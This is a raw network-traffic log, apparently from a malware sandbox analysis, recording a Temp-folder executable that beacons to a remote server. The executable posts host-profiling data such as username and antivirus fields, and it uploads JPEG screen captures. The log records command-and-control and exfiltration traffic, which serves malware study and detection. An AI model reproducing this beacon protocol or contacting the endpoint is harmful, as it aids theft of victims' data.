Aug 29, 2021 22:28:54.907476902 CEST	16393	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:54.907576084 CEST	16396	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:54.942648888 CEST	16399	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:54.942698002 CEST	16402	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:54.942738056 CEST	16404	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:28:54.942981005 CEST	16416	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:54.943023920 CEST	16419	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:54.943146944 CEST	16422	OUT	Data Raw: c9 6e 8e 78 21 1e b4 a1 71 5b de 5d b3 75 41 49 f6 3b 56 f6 a3 d8 8f eb 2b aa 30 f1 4e 03 35 b2 74 d8 8f dd 62 29 87 4a 3d 9c 7e 22 8f 64 d0 7d 62 06 5e da 70 15 7c e9 92 8e 98 35 1b 58 cc bc ed a3 91 87 b5 8b ea 56 c5 2e 2a 53 6e e3 aa 9a 6f 96 Data Ascii: nx!q[]uAI;V+0N5tb)J=~"d}b^p\|5XV.SnoGo(OhNT7O)UCeANO3+<]S<y^G^]*chT)Fc)K\|]j}(BK,K\S&Kp+b1Eq1Y
Aug 29, 2021 22:28:54.978055000 CEST	16424	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:55.117701054 CEST	16492	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
263	192.168.2.4	50002	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:55.221076012 CEST	16493	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:55.295752048 CEST	16493	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
264	192.168.2.4	50003	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:55.441293001 CEST	16494	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:55.441390038 CEST	16494	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:55.441571951 CEST	16504	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:55.441653013 CEST	16507	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:55.476720095 CEST	16509	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:55.476780891 CEST	16515	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:55.477005959 CEST	16523	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:28:55.477155924 CEST	16527	OUT	Data Raw: b3 13 c9 24 f7 34 66 bb 23 b2 4c e4 95 9b 6d 0e f2 d4 f7 a4 31 0f 5a 4e 69 72 6a b4 27 51 3c 9f 7a 3c 93 4b b8 d2 ef 34 59 0e f2 19 e5 35 21 42 2a 5f 33 da 9d e6 0f 4a 2c 85 76 56 c1 f4 a5 c7 b5 58 dc a7 b5 38 04 3d a8 e4 0e 72 a5 15 68 c6 9d 8d Data Ascii: $4f#Lm1ZNirj'Q<z<K4Y5!B*_3J,vVX8=rh'Mjoy+dCKRy,)l;Qf;SNYQE%(QKLAEPEJ(,!(bbQE)iZ){!i`Z))EIAKE-)j,(SR>Sii:@PE-B
Aug 29, 2021 22:28:55.477178097 CEST	16532	OUT	Data Raw: f4 b5 ad fd 75 3d b2 d3 5b b7 d7 e1 f0 fd f4 18 05 af 19 64 8f 39 28 e2 de 6c 8f f3 da bc 5b e3 3f fc 94 39 bf eb da 2f e5 5d 27 80 ee 58 f8 d6 ce 18 8b 25 b4 92 49 27 95 9c 80 44 52 01 f9 06 23 35 cd fc 65 ff 00 92 87 37 fd 7b c5 ff 00 a0 d7 95 Data Ascii: u=[d9(l[?9/]'X%I'DR#5e7{ZP[[gBs{GRKE%;oij}p&kN^.MH/<[B"<c/ci7qZ[S,*{{{KO^gr.ry/(A}+!76
Aug 29, 2021 22:28:55.511687994 CEST	16535	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:55.511740923 CEST	16543	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:55.614825964 CEST	16602	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
265	192.168.2.4	50004	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:55.514736891 CEST	16583	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:55.590384960 CEST	16602	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
266	192.168.2.4	50005	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:55.960549116 CEST	16603	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:56.036463022 CEST	16690	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
267	192.168.2.4	50006	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:55.963399887 CEST	16603	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:55.963515043 CEST	16604	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:55.963649988 CEST	16614	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:55.963761091 CEST	16616	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:55.998702049 CEST	16619	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:28:55.998765945 CEST	16627	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:28:55.999264002 CEST	16642	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:28:56.035413980 CEST	16644	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:28:56.035463095 CEST	16647	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:28:56.035518885 CEST	16660	OUT	Data Raw: 54 8e cc dc 87 52 90 74 94 fe 75 a3 06 ab 70 3f e5 a9 35 ca 23 94 61 5a 76 ce 49 ae 5a b8 78 5b 63 d1 c3 63 6a 37 6b 9d 47 88 27 79 bc 15 23 b7 52 6b c7 e5 3f 31 af 56 d7 1f 1e 03 6f f7 ab c9 64 ea 69 65 8a d4 e5 ea 77 e3 f5 ab 16 fb 23 da 74 67 Data Ascii: TRtup?5#aZvIZx[ccj7kG'y#Rk?1Vodiew#tg<J):\P3EgyWNO;Qdoi_qT=iv_FL.PR_^Ei%CVUR[.},s2hwalT-a:pcqWdTSin$<
Aug 29, 2021 22:28:56.035551071 CEST	16663	OUT	Data Raw: 50 67 ce f8 cd 30 83 9e 6b e8 e5 f0 d6 88 07 fc 82 ed 7f ef 8a f3 3f 89 9a 7d 9d 95 cd 97 d9 2d a2 83 72 36 e1 18 c6 79 aa 85 5e 77 60 92 e5 3c 8e 93 14 99 a5 15 c6 7a 07 a6 fc 0d e3 c6 b7 bf f6 0e 7f fd 19 1d 7b ad f3 e2 df 1f de 60 3f af f4 af Data Ascii: Pg0k?}-r6y^w`<z{`?t}fA4;;;]> x!GVP)F{0T]Il;j\|~)k%o1)qIJ+,)i3@4uR)<:s^Q_YH;x~^S
Aug 29, 2021 22:28:56.142438889 CEST	16712	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
268	192.168.2.4	50007	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:56.250917912 CEST	16713	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:28:56.324162006 CEST	16713	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:28:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
269	192.168.2.4	50008	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:28:56.470244884 CEST	16714	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----412e85b07ebc931c9305d6d7a5d96d3c Host: 46.17.96.36 Content-Length: 107128 Cache-Control: no-cache
Aug 29, 2021 22:28:56.470324039 CEST	16714	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 34 31 32 65 38 35 62 30 37 65 62 63 39 33 31 63 39 33 30 35 64 36 64 37 61 35 64 39 36 64 33 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------412e85b07ebc931c9305d6d7a5d96d3cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:28:56.470479012 CEST	16724	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:28:56.470551968 CEST	16727	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:28:56.503417015 CEST	16730	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
